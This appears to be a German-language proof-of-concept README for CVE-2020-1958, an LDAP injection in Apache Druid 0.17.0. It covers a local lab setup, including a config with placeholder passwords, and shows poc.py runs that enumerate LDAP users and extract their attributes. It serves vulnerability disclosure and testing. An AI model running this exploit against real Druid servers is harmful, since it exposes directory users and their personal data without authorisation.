
CVE-2020-1958 PoC
CVE-2020-1958 ist eine hochkritische LDAP-Injection-Schwachstelle in Apache Druid 0.17.0. Sie ermöglicht einem Angreifer, den LDAP-Suchfilter zu umgehen und beliebige LDAP-Attributwerte von Benutzern abzurufen, die auf dem LDAP-Server existieren.
Aus der offiziellen Apache Druid Sicherheitsmeldung:
Wenn LDAP-Authentifizierung aktiviert ist:
- Aufrufer von Druid-APIs mit einem gültigen Satz von LDAP-Anmeldeinformationen können die
credentialsValidator.userSearch-Filtersperre umgehen, die bestimmt, ob ein gültiger LDAP-Benutzer sich bei Druid authentifizieren darf. Sie unterliegen weiterhin rollenbasierten Autorisierungsprüfungen, falls konfiguriert.- Aufrufer von Druid-APIs können beliebige LDAP-Attributwerte von Benutzern abrufen, die auf dem LDAP-Server existieren, sofern diese Informationen für den Druid-Server sichtbar sind. Diese Offenlegung von Informationen erfordert nicht, dass der Aufrufer selbst ein gültiger LDAP-Benutzer ist.
Das poc.py-Skript demonstriert, wie ein nicht autorisierter Angreifer Benutzer auf einem mit Druid integrierten LDAP-Server aufzählen und den Wert jedes Attributs jedes Benutzers abrufen kann.
Überspringen Sie diesen Schritt, wenn Sie bereits einen Druid-Server mit aktivierter LDAP-Authentifizierung haben.
Laden Sie Druid 0.17.0 herunter und entpacken Sie es
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
Aktivieren und konfigurieren Sie die LDAP-Authentifizierung in conf/druid/single-server/nano-quickstart/_common/common.runtime.properties
Aktivieren Sie die Erweiterung druid-basic-security
Suchen Sie druid.extensions.loadList und fügen Sie druid-basic-security hinzu:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
Konfigurieren Sie die LDAP-Authentifizierung
Fügen Sie Folgendes am Ende der Datei hinzu:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
Führen Sie den OpenLDAP-Server aus
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importieren Sie Benutzer aus users.ldif in LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Führen Sie den Druid-Server aus
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 abrufen$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last